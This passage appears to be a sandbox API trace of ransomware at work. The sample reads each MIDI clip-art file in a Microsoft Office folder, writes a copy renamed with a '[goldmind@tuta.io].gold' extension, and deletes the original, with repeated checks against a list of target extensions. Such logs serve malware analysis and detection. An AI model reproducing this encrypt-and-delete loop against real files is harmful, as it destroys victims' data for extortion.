[0090.671] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.716] GetLastError () returned 0x0 [0090.716] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1815, lpOverlapped=0x0) returned 1 [0090.718] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1820, lpOverlapped=0x0) returned 1 [0090.718] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.718] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0090.719] SetEndOfFile (hFile=0x394) returned 1 [0090.719] CloseHandle (hObject=0x394) returned 1 [0090.719] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.719] SetEndOfFile (hFile=0x38c) returned 1 [0090.726] CloseHandle (hObject=0x38c) returned 1 [0090.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0090.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.929] lstrlenW (lpString=".doc") returned 4 [0090.929] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.929] lstrlenW (lpString=".docx") returned 5 [0090.929] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.929] lstrlenW (lpString=".pdf") returned 4 [0090.929] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.929] lstrlenW (lpString=".xls") returned 4 [0090.929] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.929] lstrlenW (lpString=".xlsx") returned 5 [0090.929] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.929] lstrlenW (lpString=".ppt") returned 4 [0090.929] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.929] lstrlenW (lpString=".zip") returned 4 [0090.929] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.929] lstrlenW (lpString=".rar") returned 4 [0090.929] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.930] lstrlenW (lpString=".bz2") returned 4 [0090.930] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString=".7z") returned 3 [0090.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".dbf") returned 4 [0090.930] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".1cd") returned 4 [0090.930] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".jpg") returned 4 [0090.930] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".doc") returned 4 [0090.930] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString=".docx") returned 5 [0090.930] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.930] lstrlenW (lpString=".pdf") returned 4 [0090.930] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.930] lstrlenW (lpString=".xls") returned 4 [0090.930] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.930] lstrlenW (lpString=".xlsx") returned 5 [0090.930] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.930] lstrlenW (lpString=".ppt") returned 4 [0090.930] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".zip") returned 4 [0090.930] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.930] lstrlenW (lpString=".rar") returned 4 [0090.930] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.930] lstrlenW (lpString=".bz2") returned 4 [0090.930] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString=".7z") returned 3 [0090.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".dbf") returned 4 [0090.930] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".1cd") returned 4 [0090.930] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0090.930] lstrlenW (lpString=".jpg") returned 4 [0090.930] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.931] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.931] lstrlenW (lpString="JAVA_01.MID") returned 11 [0090.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.931] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=9797) returned 1 [0090.931] CloseHandle (hObject=0x19c) returned 1 [0090.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0090.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.932] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.932] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.932] GetLastError () returned 0x0 [0090.932] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x2645, lpOverlapped=0x0) returned 1 [0090.934] WriteFile (in: hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2650, lpOverlapped=0x0) returned 1 [0090.935] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.935] WriteFile (in: hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0090.935] SetEndOfFile (hFile=0x194) returned 1 [0090.935] CloseHandle (hObject=0x194) returned 1 [0090.935] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.935] SetEndOfFile (hFile=0x19c) returned 1 [0090.937] CloseHandle (hObject=0x19c) returned 1 [0090.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1 [0090.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.938] lstrlenW (lpString=".doc") returned 4 [0090.938] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.938] lstrlenW (lpString=".docx") returned 5 [0090.938] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.938] lstrlenW (lpString=".pdf") returned 4 [0090.938] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.938] lstrlenW (lpString=".xls") returned 4 [0090.938] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.938] lstrlenW (lpString=".xlsx") returned 5 [0090.938] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.938] lstrlenW (lpString=".ppt") returned 4 [0090.938] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.938] lstrlenW (lpString=".zip") returned 4 [0090.939] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.939] lstrlenW (lpString=".rar") returned 4 [0090.939] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.939] lstrlenW (lpString=".bz2") returned 4 [0090.939] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString=".7z") returned 3 [0090.939] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".dbf") returned 4 [0090.939] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".1cd") returned 4 [0090.939] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".jpg") returned 4 [0090.939] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".doc") returned 4 [0090.939] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString=".docx") returned 5 [0090.939] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.939] lstrlenW (lpString=".pdf") returned 4 [0090.939] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.939] lstrlenW (lpString=".xls") returned 4 [0090.939] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.939] lstrlenW (lpString=".xlsx") returned 5 [0090.939] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.939] lstrlenW (lpString=".ppt") returned 4 [0090.939] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".zip") returned 4 [0090.939] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.939] lstrlenW (lpString=".rar") returned 4 [0090.939] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.939] lstrlenW (lpString=".bz2") returned 4 [0090.939] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString=".7z") returned 3 [0090.939] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".dbf") returned 4 [0090.939] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".1cd") returned 4 [0090.939] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0090.939] lstrlenW (lpString=".jpg") returned 4 [0090.939] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.940] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.940] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0090.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.940] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5843) returned 1 [0090.940] CloseHandle (hObject=0x19c) returned 1 [0090.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0090.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.941] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.941] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.941] GetLastError () returned 0x0 [0090.941] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x16d3, lpOverlapped=0x0) returned 1 [0090.942] WriteFile (in: hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0090.943] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.943] WriteFile (in: hFile=0x194, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.943] SetEndOfFile (hFile=0x194) returned 1 [0090.944] CloseHandle (hObject=0x194) returned 1 [0090.944] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.944] SetEndOfFile (hFile=0x19c) returned 1 [0090.946] CloseHandle (hObject=0x19c) returned 1 [0090.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0090.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.947] lstrlenW (lpString=".doc") returned 4 [0090.947] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.947] lstrlenW (lpString=".docx") returned 5 [0090.947] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.947] lstrlenW (lpString=".pdf") returned 4 [0090.947] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.947] lstrlenW (lpString=".xls") returned 4 [0090.947] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.947] lstrlenW (lpString=".xlsx") returned 5 [0090.947] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.947] lstrlenW (lpString=".ppt") returned 4 [0090.947] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.947] lstrlenW (lpString=".zip") returned 4 [0090.947] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.947] lstrlenW (lpString=".rar") returned 4 [0090.947] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.947] lstrlenW (lpString=".bz2") returned 4 [0090.947] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.947] lstrlenW (lpString=".7z") returned 3 [0090.947] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.947] lstrlenW (lpString=".dbf") returned 4 [0090.947] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.947] lstrlenW (lpString=".1cd") returned 4 [0090.947] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.947] lstrlenW (lpString=".jpg") returned 4 [0090.947] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.947] lstrlenW (lpString=".doc") returned 4 [0090.947] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.947] lstrlenW (lpString=".docx") returned 5 [0090.947] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.948] lstrlenW (lpString=".pdf") returned 4 [0090.948] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.948] lstrlenW (lpString=".xls") returned 4 [0090.948] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.948] lstrlenW (lpString=".xlsx") returned 5 [0090.948] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.948] lstrlenW (lpString=".ppt") returned 4 [0090.948] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.948] lstrlenW (lpString=".zip") returned 4 [0090.948] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.948] lstrlenW (lpString=".rar") returned 4 [0090.948] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.948] lstrlenW (lpString=".bz2") returned 4 [0090.948] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.948] lstrlenW (lpString=".7z") returned 3 [0090.948] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.948] lstrlenW (lpString=".dbf") returned 4 [0090.948] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.948] lstrlenW (lpString=".1cd") returned 4 [0090.948] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0090.948] lstrlenW (lpString=".jpg") returned 4 [0090.948] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.948] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.948] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0090.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.950] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6880) returned 1 [0090.950] CloseHandle (hObject=0x19c) returned 1 [0090.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0090.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.951] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.951] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.951] GetLastError () returned 0x0 [0090.951] ReadFile (in: hFile=0x19c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0090.953] WriteFile (in: 